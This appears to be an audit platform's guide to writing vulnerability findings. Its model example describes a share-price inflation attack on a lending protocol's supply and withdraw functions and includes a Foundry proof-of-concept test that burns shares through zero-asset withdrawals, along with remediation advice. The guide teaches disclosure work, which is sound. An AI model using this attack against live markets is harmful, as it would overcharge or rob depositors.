Finding Submission Examples

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Good

1. What is the issue
2. How / Why it is happening
3. Where exactly the vulnerable code is located and which logic it connects to
4. How to reproduce it with a Proof of Concept (PoC)
5. How it can be remediated

1. Clearly describes what the issue is.

The supply and withdraw functions can increase the supply share price (totalSupplyAssets / totalSupplyShares). If a depositor uses the shares parameter in supply to specify how many assets they want to supply they can be tricked into supplying more assets than they wanted. It’s easy to inflate the supply share price by 100x through a combination of a single supply of 100 assets and then withdrawing all shares without receiving any assets in return.

1. Clearly describes why it is happening.

The reason is that in withdraw we compute the assets to be received as assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);. Note that assets can be zero and the withdraw essentially becomes a pure burn function.

1. Clearly points to the vulnerable line using the code-highlighting feature.
2. Provides a Proof Of Concept for anyone to reproduce and verify the vulnerability.

function testSupplyInflationAttack() public {
  vm.startPrank(SUPPLIER);
  loanToken.setBalance(SUPPLIER, 1 * 1e18);

  // 100x the price. in the end we end up with 0 supply and totalAssets = assets supplied here
  morpho.supply(marketParams, 99, 0, SUPPLIER, "");

  uint256 withdrawals = 0;
  for (;; withdrawals++) {
      (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
      uint256 shares = (totalSupplyShares + 1e6).mulDivUp(1, totalSupplyAssets + 1) - 1;
      // burn all of our shares, then break
      if (shares > totalSupplyShares) {
          shares = totalSupplyShares;
      }
      if (shares == 0) {
          break;
      }
      morpho.withdraw(marketParams, 0, shares, SUPPLIER, SUPPLIER);
  }
  (uint256 totalSupplyAssets, uint256 totalSupplyShares,,) = morpho.expectedMarketBalances(marketParams);
  console2.log("withdrawals", withdrawals);
  console2.log("totalSupplyAssets", totalSupplyAssets);
  console2.log("final share price %sx", (totalSupplyAssets + 1) * 1e6 / (totalSupplyShares + 1e6));

  // without inflation this should mint at initial share price of 1e6, i.e., 1 asset
  (uint256 returnAssets,) = morpho.supply(marketParams, 0, 1 * 1e6, SUPPLIER, "");
  console2.log("pulled in assets ", returnAssets);
}

1. Provides a remediation for the client.

Suppliers should use the assets parameter instead of shares whenever possible. In the other cases where shares must be used, they need to make sure to only approve the max amount they want to spend. Alternatively, consider adding a slippage parameter maxAssets that is the max amount of assets that can be supplied and transferred from the user. This attack of inflating the supply share price is especially possible when there are only few shares minted, i.e., at market creation or when an attacker / contracts holds the majority of shares that can be redeemed.

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Competitions Finding Format

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Bad

• The description is generic and nonsensical - it shows lack of understanding of the protocol and does not clearly state the exact problem or why it is happening
• It does not point to the lines of code affected
• It does not provide a Proof of Concept (PoC)